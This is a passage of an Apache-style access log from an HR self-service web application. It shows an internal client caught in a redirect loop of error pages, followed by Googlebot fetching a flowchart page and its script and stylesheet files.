/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132715%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132715&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132715%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132715&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [03/Dec/2025:13:34:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [03/Dec/2025:13:34:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [03/Dec/2025:13:35:34 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:35:34 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [03/Dec/2025:13:35:35 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1267488&companyid=3913&userseqno=47859 HTTP/1.1" 200 5917 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:35:35 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1267488&companyid=3913&userseqno=47859 HTTP/1.1" 200 5917 100.64.0.1 - - [03/Dec/2025:13:36:11 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1267488&companyid=3913&userseqno=47859" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:11 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [03/Dec/2025:13:36:12 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1267488&companyid=3913&userseqno=47859" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:12 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [03/Dec/2025:13:36:14 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1267488&companyid=3913&userseqno=47859" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:14 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [03/Dec/2025:13:36:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1267488&companyid=3913&userseqno=47859" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [03/Dec/2025:13:36:16 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1267488&companyid=3913&userseqno=47859" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:16 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [03/Dec/2025:13:36:18 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1267488&companyid=3913&userseqno=47859" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:18 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [03/Dec/2025:13:36:20 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:20 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [03/Dec/2025:13:36:21 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:21 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [03/Dec/2025:13:36:23 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:23 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [03/Dec/2025:13:36:25 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 